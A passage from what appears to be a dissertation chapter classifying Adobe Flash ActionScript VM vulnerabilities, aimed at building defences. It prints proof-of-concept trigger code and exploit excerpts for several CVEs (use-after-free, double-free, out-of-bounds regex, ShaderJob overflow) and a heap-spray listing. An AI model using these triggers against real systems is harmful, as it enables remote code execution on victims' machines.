
oriented programming languages such as class-inheritance, encapsulation, packages,

namespaces, gradual typing, and regular expressions. Security reports show that this

daunting complexity has led to the largest and highest-impact attack surfaces amongst

web-based VMs [104].

In our work, we first analyze ActionScript vulnerabilities which have been listed in

the CVE and NVD databases since 2013 (until April 1st, 2020). We analyze six specific

properties of web-based VM vulnerabilities: (1) types of implementation errors that

cause each vulnerability, (2) methods of exploiting these vulnerabilities, (3) privileges

and capabilities that attackers gain after triggering these vulnerabilities, (4) assets

damaged during the execution of exploits, (5) consequences of successful exploits, and

(6) frequency of vulnerabilities being exploited in real-life. The results of our analysis

naturally lead to five sub-classes of ActionScript "Memory Corruption" vulnerabilities

mentioned above. These vulnerability sub-classes are most critical/widespread and

useful for building generalized defense solutions. Vulnerabilities in these sub-classes

have a high severity score (above 8.0 out of 10) and are mostly marked as “high”

or “critical” in the CVE and NVD databases. Additionally, the vulnerabilities that

belong to one of these vulnerability sub-classes were the top choices for attackers and

were heavily used in popular exploit kits [104] as more than 80% of them enable the

attackers to perform a RCE in victims’ machine.

Our analysis also allows us to report on various ActionScript vulnerability statistics

since 2013 (for example, unclassified (“Unspecified” ActionScript vulnerabilities con-
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stitute ∼18%) of total ActionScript vulnerabilities since 2013; “Memory Corruption”

vulnerabilities, ∼29%). These statistics indicate that a more thorough investigation

of ActionScript vulnerabilities is required to map the AVM attack surface better

since a significant portion of ActionScript vulnerabilities are either unclassified or

loosely-classified. Therefore, we analyze the execution of PoC exploits provided by

exploit databases and vulnerability mitigation projects’ collections to determine the

type of "Unspecified" and the sub-class of "Memory Corruption" vulnerabilities. Ex-

amining side-effects of the execution of PoCs allows us to understand the way the

exploits trigger the vulnerabilities since we scrutinize memory cells before and after

the execution of every ActionScript instruction to be able to detect any unexpected

changes on the cells. Also, we report on more information per vulnerability, such

as the way the vulnerability can be exploited or the underlying reasons for why the

vulnerability occurs. To do this, we manually crawl the web to find security articles,

tech reports, blogs, and forum posts.

The main contributions of this chapter are as follows:

• We present a web-based VM vulnerability classification with five sub-classes of

"Memory Corruption" vulnerabilities since attackers mostly exploit vulnerabilities

from these sub-classes and heavily include them in popular exploit kits [104, 203].

We use the AVM as our web-based VM model of study; we analyze PoC

exploits and discuss the design flaws in the implementation of the AVM that

cause vulnerabilities from these vulnerability sub-classes. We also provide more

technical details for each of our vulnerability sub-classes that are not included

in the CVE and NVD databases, such as the method of exploit.

• We present the most recent number, types, and attack vectors of ActionScript

vulnerabilities that have been listed since 2013 in the CVE and NVD databases.

• We reclassify ActionScript CVE vulnerabilities labeled as generic "Memory
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Corruption" and "Unspecified" into one of our more fine-grained sub-classes (a

memory corruption vulnerability can be (1) a use-after-free, (2) a double-free, (3)

an integer overflow, (4) a buffer overflow, or (5) a heap overflow vulnerability). We

reclassify 60 such “Memory-Corruption” and 84 such "Unspecified" vulnerabilities

by analyzing the execution of PoC exploits provided by exploit databases and

vulnerability mitigation projects’ collections.

The remainder of the chapter is organized as follows: Section 3.2 introduces sub-

classes of "Memory Corruption" vulnerabilities and case studies for each sub-class.

Section 3.3 presents other non-"Memory Corruption" ActionScript vulnerability classes

listed in the CVE and NVD databases that are less commonly exploited by attackers.

Section 3.4 shows the most recent (2013–2020) statistics of the number, type, and

attack vector of ActionScript vulnerabilities. Section 3.5 presents results for our re-

classification of "Memory Corruption" and "Unspecified" ActionScript vulnerabilities

and our methodology for deciding types of these vulnerabilities, and obtaining more

information about each vulnerability. Finally, Section 3.6 concludes.

3.2 Sub-Classes of Memory Corruption Vulnerabilities & Case Studies

In this section, we describe the sub-classes of "Memory Corruption" vulnerabilities

in the implementation of web-based VMs. These vulnerabilities are frequently added

to exploit kits sold to hackers in the underground—–Angler EK, Neutrino, and Nuclear

Pack [104]. In addition, we introduce an example of vulnerability for each vulnerability

sub-class and explain design flaws inside the AVM implementation that cause these

vulnerabilities. We also discuss more technical details on reasons of why the AVM

performs unintended, malicious behaviors, and how exploits can exploit the unexpected

program states occurring after the vulnerabilities are triggered.
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3.2.1 Motivation & Methodology

In order to identify the most relevant vulnerability sub-classes, we use the following

methodology. We consider the CVE severity score (9.6 out of 10 on average) of the

vulnerability, and whether it was frequently exploited by infamous exploit kits since

the execution of a vast majority of these vulnerabilities (more than 80%) can lead

to remote/arbitrary code execution, which is one of the most dangerous malicious

activities. Additionally, our analysis shows that the design flaws that result in these

vulnerabilities are not vulnerability-specific, unlike the design flaws that lead to other

vulnerability classes. Thus, focusing on these five vulnerability sub-classes allows

us to build a generic security solution that mitigates these vulnerabilities (please

see Chapter 4). Our analysis allows us to prioritize five sub-classes of "Memory

Corruption" vulnerability class, which we describe in detail in this chapter.

There are other, less commonly exploited vulnerability classes than "Memory

Corruption" vulnerabilities mentioned in the CVE and NVD databases. We do not

prioritize these classes due to the following reasons. First, the number of these

vulnerabilities is relatively smaller than the number of vulnerabilities in our sub-classes

of "Memory Corruption" vulnerabilities. For example, the number of integer overflow

vulnerabilities is only 17 compared to 255 UAF vulnerabilities. Second, the design

flaws that lead to the vulnerabilities from these classes are vulnerability-specific, which

hinders to build a generalized solution. We provide more technical details about those

classes in Section 3.3 in order to highlight the reasons for us to exclude them from our

generic and comprehensive security solution.

3.2.2 Use-After-Free

UAF vulnerabilities are one of the most common vulnerability classes, with more

than 200 entries for the Flash Player in the last five years in the NVD [163]. UAF

vulnerabilities create a dangling pointer referencing memory after it has been freed.
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The vulnerability occurs in case either the VM and the garbage collector, which is

responsible for reclaiming memory occupied by objects that are no longer in use by

the program, are asynchronous, or the VM is not able to manage object references

properly. Referencing a freed object grants unauthorized access to the memory even

if it is allocated to another object later on. Fig. 3.1a illustrates a typical object

allocation in the memory. The object reference points to a memory location where

the metadata of the object is stored. Fig. 3.1b demonstrates a UAF vulnerability

that happens after the object is freed. Even though the object is freed, the memory

pointer is not removed and becomes a dangling pointer, which can be exploited by

attackers to corrupt the data in this particular memory segment. Fig 3.1c displays that

the dangling pointer provides access to metadata of a consequently created Vector

instance. An exploit can corrupt the .length property of the Vector instance by

(a) Typical object allocation in memory

(b) Dangling pointer occurrence after UAF vulnerability

(c) Exploiting the dangling pointer to access metadata of the
consequently created Vector instance

Figure 3.1: Accessing metadata of Vector instance by exploiting UAF vulnerability



28

utilizing the dangling pointer to gain access to the entire memory. UAF vulnerabilities

may lead to a program crash or can be the first step of more malicious activities such

as remote code execution.

Figure 3.2: Description of classes and properties involved in our example UAF and
DF vulnerabilities

Name Description

ByteArray Class Provides methods and properties to optimize reading, writing, and work-
ing with binary data.

m_buffer Is located at offset 0x24 in the ByteArray class points to an object of
the ByteArray::Buffer class, which eventually leads to the actual array
of bytes [172].

m_subscribers Contains a pointer to a ListData object, which holds information about
entities that should be notified when the ByteArray instance is reallo-
cated/freed (i.e., its place in memory changes), or even simply when its
length changes [172].

m_isShareable Demonstrates whether the byteArray instance is shared between
Workers. When the ByteArray instance is shared, there’s no need to
copy the data, but rather to point to the exact same ByteArray::Buffer
instance m_buffer points to [172].

m_byteArray Is a static allocation of a ByteArray instance [172].

Worker Class Allows executing code "in the background" at the same time that other
operations are running in other workers (including the main script’s
worker). This capability of simultaneously executing multiple sets of code
instructions is known as concurrency.

AvmCore::integer Calculates the numeric value of an instance given as a parameter
SecurityDomain (class) Represents the security sandbox for the web domain from which the SWF

application was loaded.

ApplicationDomain (class) Allows for partitioning of AS classes within same security domain into
containers (smaller sandboxes). AS allows loading an external SWF
into an existing SWF’s source. ApplicationDomain is used to create a
separate container for classes of the external loaded SWF.

currentDomain (property) Read-only property of ApplicationDomain, the class that gives the
current application domain in which the code is executing.

ByteArray (class) Allows for reading/writing of raw binary data.

domainMemory (property) A property of the ApplicationDomain class that can be set to a
ByteArray object for faster read/write access to memory [59].

Vector Class Allows accessing and manipulating a dense array whose elements all have
the same data type. The data type of a Vector’s elements is known as
the Vector’s base type.
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Case Study #1 UAF Vulnerability due to Side-Effects of a Malicious

Function Definition. CVE-2015-5119, one of the popular vulnerabilities from

Kaspersky’s Devil’s Dozen [104], was added to Angler EK, Neutrino, Hanjuan, Nuclear

Pack, and Magnitude exploit kits in 2015, leaked from the Hacking Team [120]. CVE-

2015-5119 is a use-after-free vulnerability resulting from a faulty implementation of the

ByteArray operator [], used to access an element or assign a value to an element at a

given index. A ByteArray instance is an ordinary array but it holds data whose type

can be byte only. The attacks that exploit the UAF vulnerability assign an object

that belongs to a user-defined class to an index of the ByteArray instance. When an

instance (the instance can belong to any class) is assigned to a variable or a position

of a data structure, the valueOf function of the instance is called to determine the

exact value of the object. If the object is primitive, the valueOf function returns

the primitive value of the object. Otherwise, the valueOf function returns the

object pointer. The default valueOf function is defined in Object class, which is the

default parent class of all user-defined and predefined classes in ActionScript language.

However, the valueOf function can be overridden in user-defined classes in order to

call the overridden valueOf function definition when an instance, which belongs to

the user-defined class is invoked.

Figure 3.3: Implementation of properties of ByteArray class

Listing 3.1 demonstrates the exploit, which consists of two classes (malClass and

hClass) that operate on the same ByteArray objects. Line 3–4 create a ByteArray
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object b1 and set its length to 12. Line 5 instantiates an hclass object, mal, and

passes b1 as an argument to the constructor of hclass. Line 12, in the constructor

of hclass, b3 is used to hold the argument that has been passed to the constructor,

which is then assigned to a local property b2. So now both b1 from malclass, and b2

from hclass, are referencing the same object. Back in malclass, Line 6 assigns mal

to the index 0 of b1 using operator [] and invokes the valueOf() function of hclass

defined in Line 14. Line 15 increases the length of ByteArray b2 (also referenced by

b1), as a side-effect of this function, and due to the semantics of the length property,

the ByteArray instance is freed and is assigned a new chunk of memory.

When a ByteArray instance is freed, entities stored in the ListData instance

pointed to by the m_subscribers property of the ByteArray instance are notified.

m_subscribers is a property of ByteArray instances, which contains a pointer to a

ListData instance, which holds information about entities that should be notified when

the ByteArray instance is reallocated or freed (i.e., its place in memory changes), or

even simply when its length changes. Listing 3.2 shows the vulnerable implementation

of setUintProperty function in the AVM interpreter, which is responsible for handling

object assignment to indices of ByteArray instances. This function calls a function

named AvmCore::integer, which calculates the numeric value of an instance given as

parameter, to obtain the numeric value of the given parameter, value, since ByteArray

instances can hold data whose type is byte. Since the value assigned to the zeroth

index of b1 belongs to a user-defined class, hClass, AvmCore::integer invokes the

valueOf function defined in this class. As mentioned above, the valueOf function

changes the length of b1, which frees the ByteArray instance. However, Line 5 from

Listing 3.2 has already pushed the reference of the m_byteArray instance to the stack.

Thus, the reference of m_byteArray is not updated as b1 is freed and m_byteArray

becomes a dangling pointer. The dangling pointer is still accessible with b1[0] in

Line 6 from Listing 3.1. Therefore, the value returned at the end of the valueOf
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Listing 3.1: The PoC for CVE-2015-5119
1 public class malClass extends Sprite {
2 public function malClass ( ) {
3 var b1 = new ByteArray ( ) ;
4 b1 . l ength = 0x200 ;
5 var mal = new hClass ( b1 ) ;
6 b1 [ 0 ] = mal ;
7 }
8 }
9 public class hClass {
10 private var b2 = 0 ;
11 public function hClass (var b3 ) {
12 b2 = b3 ;
13 }
14 public function valueOf ( ) {
15 b2 . l ength = 0x400 ;
16 return 0x15 ;
17 }
18 }

function in Line 16 from Listing 3.1, 0x15, is written on the recently freed memory

chunk on which the consequently created Vector instance can be assigned, as shown

in Fig. 3.1c. Fig. 3.2 describes classes and functions involved in our example UAF

and DF vulnerabilities in case studies.

Case Study #2 UAF Vulnerability due to Asynchronization Amongst

Workers. We now demonstrate our IRM enforcement technique through a detailed

example of an Angler EK exploit that employs the CVE-2015-0313 vulnerability, a

use-after-free (UAF) vulnerability in the ApplicationDomain AS class. We outline

the exploit as presented in the Palo Alto Networks Security Research Blog by Tao

Yan [231]. Fig. 3.2 describes the AS classes, methods and properties [5] used in this

Listing 3.2: The PoC for CVE-2015-5119
1 void ByteArrayObject : : s e tUintProperty
2 ( uint32_t i , Atom value )
3 {
4 m_byteArray [ i ] = uint8_t
5 (AvmCore : : i n t e g e r ( va lue ) ) ;
6 }
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example.

The Angler EK exploit constitutes a malicious SWF file containing one primary

Worker and one background Worker. The Workers share a ByteArray object through

the ApplicationDomain’s domainMemory property.

In the attack, the primary Worker sets domainMemory to the shared ByteArray

object. Later, the background Worker frees the shared ByteArray object; however, the

primary Worker can still reference it. This inconsistency results in a UAF vulnerability

and gives the attacker a pointer to control the heap memory of the SWF application.

Listing 3.3 shows the first stage of the attack involving the primary Worker. Here,

the attacker sets a ByteArray object named attacking_buffer to the domainMemory,

and sends a message (Line 7) to the background Worker instructing it to free

attacking_buffer.

Listing 3.4 shows the second stage of the attack. Here, upon receiving the message

from the primary Worker, the background Worker frees attacking_buffer. Since

attacking_buffer was assigned to domainMemory in the primary Worker, the primary

Worker retains a pointer to the attacking_buffer in memory.

In the third stage, the malicious SWF uses the dangling pointer in domainMemory to

inject a Vector (an AS array of changeable size), containing shellcode corresponding

Listing 3.3: domainMemory attack, stage 1 [231]
1 private function exp lo i t_pr imord ia l_sta r t ( param1 : String ) : Boolean{
2 var _loc2_ : String = this . DecryptX86URL(param1 ) ;
3 this . s h e l l c o d e s = new She l l c ode s (_loc2_ , this . xkey . t oS t r i ng ( ) ) ;
4 this . prepare_attack ( ) ;
5 this . make_spray_by_buffers_no_holes ( ) ;
6 ApplicationDomain . currentDomain . domainMemory = this . a t tack ing_buf f e r ;
7 this . main_to_worker . send ( this . message_free ) ;
8 return true ;
9 }
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Listing 3.4: domainMemory attack, stage 2 [231]
1 protected function on_main_to_worker ( param1 :Event) : void{
2 var _loc2_ :∗ = this . main_to_worker . r e c e i v e ( ) ;
3 i f (_loc2_ == this . message_free ){
4 this . a t tack ing_buf f e r . c l e a r ( ) ;
5 this . worker_to_main . send ( this . message_world ) ;
6 }
7 }

to the return-oriented programming (ROP) [196] gadgets it wants to execute. In the

final stage, the malicious SWF scans the heap for the Vector of the same length and

writes the ROP chain and shellcode to the buffer, which then allows it to execute

ROP attacks.

3.2.3 Double-Free

DF vulnerabilities occur when a freeing operation is called more than once with the

same memory address as an argument. DF vulnerability is a type of UAF vulnerability

that exploits the structure of the garbage collector, which is a doubly-linked list [84].

Although freeing memory twice seems non-threatening, it distorts the structure of

the pointers since the garbage collector works with the "first-in, last-out" principle

by placing freed memories at the head of the list and allocating memory starting

from the head. Fig. 3.4 demonstrates the structure of a typical garbage collector

with three memory chunks. Every memory chunk points to the “next” and “previous”

Figure 3.4: Typical garbage collector implementation
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Figure 3.5: Structure of the garbage collect after DF vulnerability

memory chunks to create a doubly-link list. DF vulnerabilities cause placing the freed

memory at the head twice and making it point to itself as both forward and backward

memory. Fig. 3.5 shows the structure of the garbage collector after the Chunk 2 is

freed twice. The Chunk 2 is put at the head of the list twice, which makes the Chunk 2

point to itself. A malicious activity such as arbitrary code execution can be crafted

by overwriting the pointers in freed memory. Fig. 3.6 demonstrates that the forward

and backward pointers in the Chunk 2 can be overwritten with new user data after a

DF vulnerability is triggered. A specially crafted attack can exploit this vulnerability

and transfer the control-flow of the program to an arbitrary code block.

Figure 3.6: Exploiting a DF vulnerability by overwriting pointers
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Figure 3.7: Implementation of the constructor function of ByteArray class

Case Study #3 DF Vulnerability due to Lack of Synchronization Among

Threads. CVE-2015-0359 [157] is a DF vulnerability exploited by famous exploit

kits [75]. The vulnerability is the result of a race condition amongst simultaneously

running threads. ActionScript supports multi-threading with implementation of the

Worker class. Each Worker instance creates a fresh, background SWF execution

and they can share a ByteArray instance if a ByteArray instance is assigned to

their attributed called m_isShareable. Worker instances can perform any operation

(including clear) on the shared ByteArray instance as if it is declared in their

execution.

Fig. 3.7 shows the constructor function of ByteArray class. The Worker instances

utilize the ByteArray constructor function to create the shareable ByteArray in-

stance in their SWF execution. However, as shown in the highlighted line in

Fig. 3.7, the ByteArray constructor function creates an empty ListData object for

the m_subscribers property in these background SWF executions, which causes the

background SWF executions to forget entities included in the ListData objects. Thus,

while the main Worker instance notifies entities listed in ListData object pointed
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by the m_subscribers property when the shared ByteArray instance is freed, the

background Worker instances cannot notify subscribing entities since the ListData

object they contain is empty.

Here, the AVM does not notify subscribers of a ByteArray instances so that simulta-

neously running threads do not get any notification if the shared ByteArray instance

is cleared or reallocated. The exploits that trigger the vulnerability create many

background Worker instances and run them simultaneously with one main Worker

instance. While the main Worker instance tries to allocate the shared ByteArray

instance, the background Workers try to clear it in a loop during the execution. If

two or more Workers consequently clear the shared ByteArray instance between two

allocations of the main Worker, the shared ByteArray instance is cleared twice that

creates the DF vulnerability.

Listings 3.5, 3.6 show code for the primary Worker and background Worker (bgWorker)

respectively. In the attack, the primary Worker and bgWorker concurrently operate

on a shared ByteArray object, bShared. Lines 1–3 from Listing 3.5 show the primary

Worker creating bShared and setting it as a shared property with bgWorker. Inside a

loop (Listing 3.5, Lines 7–18), the primary Worker is writing to bShared and setting

its length. Concurrently, inside another loop (Listing 3.6, Lines 3–7), bgWorker also

writes to bShared, clears it and reduces its length. The attacker creates a race condi-

tion between both Workers by having bgWorker clear bShared (Listing 3.6, Line 5)

between the events of freeing and allocating a new memory chunk to bShared (Listing

3.5, Line 8, length semantics) inside the primary Worker. This race condition causes

bShared to be freed twice. To determine whether the double-free vulnerability was

triggered or not, in every iteration of the loop the attacker allocates a new ByteArray

twice to the same variable b (Listing 3.5, Line 9 and Line 14). The attacker then

assigns an index at the ninth element of b and pushes them one by one on to an

Array a (Listing 3.5, Line 12 and Line 17). The attacker keeps a track of the index
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Listing 3.5: Primary Worker writing to ByteArray bShared
1 bShared = new ByteArray ( ) ;
2 bgWorker . setSharedProperty ( "byteArray" ,
3 bShared ) ;
4 . . .
5 var ib : uint = 0 , b :ByteArray = null ;
6 var a :Array = new Array ( ) ;
7 for ( k=4; k<0x3000 ; k+=4) {
8 bShared . l ength = 0x400 ;
9 b = new ByteArray ( ) ;
10 b . l ength = baLength ;
11 b [ 8 ] = ib ;
12 a . push (b ) ;
13 ib++;
14 b = new ByteArray ( ) ;
15 b . l ength = baLength ;
16 b [ 8 ] = ib ;
17 a . push (b ) ;
18 ib++; }
19 for ( k=0;k<a . l ength ; k++) {
20 b = a [ k ] ;
21 i f (b [ 8 ] != (k%0x100 ) ) {
22 a [ k+1] . l ength = 0x1000 ;
23 v . l ength = vLength ;
24 b . p o s i t i o n = 0 ;
25 b . wr i teUns ignedInt (0 x41414141 ) ;
26 a [ k−1] . l ength = 0x1000 ;
27 var l : uint = 0x40000000−1;}

to be assigned to the next allocation of b using a sequential counter ib (Listing 3.5,

Line 11 and Line 16). If the race condition succeeds, then the second allocation of b

overwrites the first allocation.

To determine the iteration of the loop where the vulnerability occurred, the attacker

scans the index of every ByteArray instance allocated inside the array, a (Listing 3.5,

Lines 21–27). If two allocations of b have the same index, the missing index was

overwritten by the instance of b that allocated to the same memory chunk. This gives

the attacker access to a pointer to control the heap and inject shellcode via b.
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Listing 3.6: Background Worker writing to and clearing ByteArray bShared
1 function playWithWorker ( ){
2 . . .
3 for ( j =0; j <0x1000 ; j++) {
4 bShared . wr i teObject ( tempBytes ) ;
5 bShared . c l e a r ( ) ;
6 t r a c e ( " bytearrayCleared " ) ;
7 bShared . l ength = 0x30 ; }
8 mutex . unlock ( ) ;
9 Worker . cu r r ent . terminate ( ) ; }

Case Study #4 DF Vulnerability due to Flag Malfunctioning. In 2014,

FireEye and Adobe identified a targeted attack campaign, Operation GreedyWonk [35],

exploiting a zero-day DF Flash vulnerability that was later recorded as CVE-2014-0502.

The vulnerability permits the attacker to overwrite a Flash object pointer to alter the

flow of code execution on Windows XP and 7 machines. In this section, we present

the analysis of this vulnerability and a proof-of-concept attack. Our discussion closely

follows Ben Hayak’s vulnerability description in the SpiderLabs blog [91].

CVE-2014-0502 is a DF vulnerability caused by the AVM’s mis-handling of SharedObjects.

While SharedObjects can be explicitly flushed to disk using the flush() method,

all SharedObjects belonging to a Worker thread are also implicitly flushed when a

Worker terminates.

Before flushing, each SharedObject’s destructor performs two checks: (1) check the

Listing 3.7: Triggering a SharedObject double-free
1 public class WorkerClass extends Sprite {
2 public s t a t i c var G:Worker = new Worker ( ) ;
3 public function i n c r e a s e S i z e ( ) : void {
4 var exp : String ="AAAA" ;
5 while ( ( exp . length <102400))
6 exp=(exp + exp ) ;
7 var sob j :SharedObject= SharedObject . g e tLoca l ( " record " ) ;
8 sob j . data . l o g s=exp ;
9 }
10 Worker . cu r r ent . terminate ( ) ;
11 }
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object’s pending flush flag, which indicates whether there is data in the SharedObject

that must be flushed to disk, and (2) check the maximum allowed storage settings

for the domain. If the flag is set and flushing would not exceed the domain’s storage

allowance, then it is flushed to disk, and its flag is reset. If there is insufficient storage,

the flush operation does not succeed and the flag is not reset.

Unfortunately, older versions of the AVM fail to properly synchronize these op-

erations, allowing multiple flushes to proceed concurrently, exposing a DF exploit

opportunity.

The attacker first creates a SharedObject that would exceed the storage limit if

flushed (Listing 3.7 lines 3–9). Just before the destructor called by Worker.term-

inate() frees the object (line 10), the AVM sees that the object is available for

garbage collection, overlooks the ongoing destruct and calls the destructor again. Both

destructors hit the size limit, leave the flag set, and free the object, resulting in a DF.

3.2.4 Out-of-Bounds Read

Out-of-bounds read vulnerabilities lead to unauthorized access to past the end

or before the beginning of the intended buffer. Attackers cannot perform RCE by

triggering an out-of-bounds read vulnerability solely, but they can utilize the attack

to obtain security-sensitive information from the stack or the heap to facilitate more

dangerous attacks.

Case Study #5 Out-of-Bounds Read because of Accessing Memory with-

out Checking Buffer Boundaries. CVE-2015-0310 [158] is an out-of-bounds read

vulnerability residing in the implementation of exec function of the RegExp API. The

exec function has a fixed-sized array, named ovector, of size 99 in the call stack that

stores the starting and the ending indices of matched strings. This array can store up

to 49 matches. As shown in Fig. 3.8, after a RegExp query, if a match is found, the

exec function returns a positive number that indicates success. If the pattern does

not match with any strings, the exec function returns negative one, which indicates
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Figure 3.8: The values ArrayObject* RegExpObject::_exec() returns

exec () return values Description

> 0 success; value is the number of ele-
ments filled in

= 0 success; but offsets is not big enough
-1 failed to match

< -1 some kind of unexpected problem

the failure. However, if the number of matches exceeds the array offset, the exec

function returns a zero.

The vulnerability resides in the ArrayObject* RegExpObject::_exec() function

definition, invoked when ActionScript code calls the exec function. This func-

tion accepts the subject string and returns an array to ActionScript during the

call up. Fig. 3.9 and Fig. 3.10 show the regular expression that can trigger the

out-of-bounds vulnerability, and the subject string in which the regular expres-

sion is searched, respectively. The regular expression contains more than 49 open

brackets, which cause the ArrayObject* RegExpObject::_exec() function to re-

turn zero and fill the ovector with dummy values. In addition, the regular ex-

pression has a named capturing group (P?<test>), which captures the match of

group into the backward reference “test”. ActionScript handles capturing names with

the m_hasNamedGroups(toCopy->m_hasNamedGroups) attribute, which holds true

if the regular expression has a capturing group. This attribute is used to create a

name_table, which captures the information about the “named capture’s” names and

offsets to ovector. Fig. 3.11 demonstrates the memory structure of the name_table

and the ovector. The offset in the name_table points to the 50th (0x32) index of

sh(?!e|((((((((((((((((((((((((((((((((((((((((((((((((?!e|(
))37)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|
a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a|a)|a

)|a)|a)|a)|a)|a)|a)|a)|a)(?P<test>)

Figure 3.9: Regular expression used to trigger CVE-2015-0310
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_regExpobject.exec(“sh0123456789sh0123456789”);

Figure 3.10: The subject string in which the regular expression given in Fig. 3.9 is
search

the ovector, an illegal index since the ovector can hold 48 (0x30) elements. The

vulnerability allows the name_table to point beyond the boundaries of the ovector

since the named group is placed at the end of the regular expression and the ovector

is filled with dummy values. Therefore, an attacker can exploit this vulnerability to

obtain sensitive information using the pointer in the name_table with a specifically

crafted regular expression.

3.2.5 Buffer Overflow

Buffer overflow vulnerabilities are one of the most common types of vulnerabilities

in any software implementation. By using these vulnerabilities, exploits can overwrite

arbitrary memory location by triggering the vulnerability, especially memory adjacent

to the vulnerable buffer. The vulnerability happens because of a lack of appropriate

boundary checks when a thread writes data to the buffer. This vulnerability is triggered

to overwrite a return address for a function mostly, since the return address is placed

right after a buffer, which holds function parameters that may be user inputs, in the

stack. Function parameters are, therefore, the perfect place to insert crafted arguments

Figure 3.11: Implementation of the constructor function of ByteArray class
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to perform malicious activities in victim machines. Fig. 3.12 illustrates a typical call

stack before and after a buffer overflow vulnerability is triggered. The call stack places

the local variables above the return address, which can be overwritten when one of

the local variables is overflowed. Therefore, exploits can hijack the control-flow of the

vulnerable program by modifying the return address.

Case Study #6 Buffer Overflow Vulnerability Happens Allocating Data

to a Smaller Buffer. CVE-2015-3090 was spotted in May 2015 and has been

exploited in the wild [81]. The vulnerability occurs due to the lack of a buffer overflow

check in a specific part of the AVM code. As seen in Listing 3.8, the AS3 APIs involved

in triggering the vulnerability are in the Shader class (line 13), used to represent

a Pixel Bender shader kernel in ActionScript. Pixel Bender is an image and video

processing toolkit that has been developed by Adobe and employs the Pixel Bender

kernel language [4]. Shader operations can be performed in stand-alone mode on a

target image using a ShaderJob instance (Line 12). The target image is represented

by a BitmapData object, as seen in Line 11.

Attackers can exploit this vulnerability by creating a race condition in ShaderJob—

increasing the width/height of a target BitmapData object, while performing the

Figure 3.12: Structure of the call stack with buffer overflow vulnerability
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Listing 3.8: Triggering Buffer Overflow in ShaderJob
1 public function ShaderJobTOCTOU ( ) : void
2 {
3 var ba :ByteArray = new ByteArray ( ) ;
4 ba . writeByte (0 xa1 ) ;
5 // Define parameter
6 ba . writeByte (0 x00 ) ; // Empty s t r i n g
7 ba . wr i teUns ignedInt (0 x00000010 ) ;
8 ba . wr i teUns ignedInt ( 0 ) ;
9 ba . p o s i t i o n = 0 ;
10 var bd : BitmapData =
11 new BitmapData (1024 , 1024 ) ;
12 var job : ShaderJob = new ShaderJob ( ) ;
13 var shader : Shader = new Shader ( ) ;
14 shader . byteCode = ba ;
15 job . t a r g e t = bd ;
16 job . shader = shader ;
17 job . s t a r t ( fa l se ) ;
18 // f a l s e means asynchronous job
19 job . he ight = 1025 ;
20 }

Shader operation in asynchronous mode using the ShaderJob object, will result in a

buffer overflow. Lines 3 to 9 depict the creation of the Pixel Bender shader kernel,

which is assigned to the Shader object in Line 14. The BitmapData constructor takes

two integer parameters, which represents and fixes its height and width as seen in

Line 11. The ShaderJob is started in asynchronous mode in Line 17; subsequently,

increasing the height of the target BitmapData object results in a buffer overflow due

to a missing check in the AVM implementation of ShaderJob.

3.2.6 Heap Spraying

Heap spraying is a technique used in exploits to facilitate arbitrary code execution.

Heap spraying is not an actual vulnerability, but it is used to increase the possibility

of correctly transferring the program flow to the injected shellcode, the malicious piece

of code that the attacker wants to execute in the victim machine. Since the memory

layout is altered frequently with Address Space Layout Randomization (ASLR), a

memory-protection technique for operating systems that guards against cyber attacks
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by randomizing the location where system executables are loaded into memory [189],

exploits cannot calculate the correct address of injected shellcode to jump to during

run time. Thus, exploits would have to wildly guess the address of the shellcode,

which is almost impossible, since the shellcode can be allocated to any address in

the memory and the address is calculated in run-time (the probability of jumping

the shellcode is only 1/232 assuming the victim machine utilizes 32-bit operating

system with ASLR enabled). In this case, exploits utilize heap spraying with a large

nop-sled (the nop-sled contains numerous no-operation instructions which do not

perform any operation or change registers.) followed by the shellcode. Transferring the

program-flow to any no-operation instruction somewhere within the nop-sled results

in executing the shellcode. Therefore, exploits can significantly increase the probability

of executing the shellcode by having a nop-sled (the probability of executing the

shellcode with a nop-sled size of 1GB is 230/232 = 1/4).

Listing 3.9 shows the code for a proof-of-concept heap spray attack. Lines 2 and 3

show the code where the basic byte sequence for the shellcode (in this case the string

‘HEAPSPRAY!’) and no-operation (‘nop’) instruction are stored in variables shellcode

and nop as Strings respectively. Lines 4-10 create one enormous block (0x50000 or

327680 bytes) of memory consisting of smaller chains of the nop instructions commonly

referred to as a nop sled or a nop slide. Lines 12-13 create a ByteArray object and

repeatedly insert the concatenation of the strings nop sled and shellcode in the

ByteArray. The final heap now has a long chain of blocks containing nop instructions

and the shellcode. The heap spray attack can similarly be executed by inserting

shellcode into a Vector object instead of a ByteArray object.

3.3 Less Commonly Exploited Vulnerability Classes & Example Vulnerabilities

In this section, we discuss the other, less commonly exploited vulnerability classes

mentioned in the CVE and NVD collections, but not included in our generic, com-
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Listing 3.9: An example for heap spray attack
1 var s h e l l c o d e : String =
2 unescape ( ’%u4548%u5041%u5053%u4152 ’ ) ;
3 var nop : String=unescape ( ’%u0202%u0202 ’ ) ;
4 var space : uint = she l l c od e . l ength + 20 ;
5 while ( nop . l ength < space )
6 nop+= nop ;
7 var f i l l : String = nop . subs t r (0 , space ) ;
8 var block = nop . subs t r (0 , nop . length −20);
9 while ( b lock . l ength + space < 0x50000 )
10 block = block + block + f i l l ;
11 var s :ByteArray = new ByteArray ( ) ;
12 for (var i : uint = 0 ; i < 250 ; i++)
13 s . writeUTFBytes ( b lock + sh e l l c o d e ) ;

prehensive security solution, which mitigates "Memory Corruption" vulnerability

sub-classes introduced in Section 3.2.

3.3.1 Integer Overflow (or Underflow)

Integer overflow occurs when an arithmetic operation attempts to create and allocate

an integer, which requires a larger space to be allocated in the main memory than

the operating system provides for it. The value is either higher than the maximum

value or lower than the minimum value that can be represented. In 32-bit operating

systems, the highest and the lowest numeric values that fit 32-bit buffers are 232 − 1,

which equals to 4,294,967,295, and −231, which equals to -2,147,483,648, respectively.

The operating systems utilize two dedicated processor flags to check for overflow

conditions. The first is the carry flag, which is set when the result of an addition

or subtraction, considering the operands and result as unsigned numbers, does not fit

in the given number of bits. This indicates an overflow with a carry or a borrow from

the most significant bit. An immediately following add with a carry or a subtract

with borrow operation uses the contents of this flag to modify a register or a memory

location that contains the higher part of a multi-word value. The second is the

overflow flag, which is set when the result of an operation on signed numbers does

not have the sign that one would predict from the signs of the operands (e.g., a
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negative result when adding two positive numbers). This indicates that an overflow

has occurred, and the signed result represented in two’s complement form would

not fit in the given number of bits. Languages in which VMs are implemented

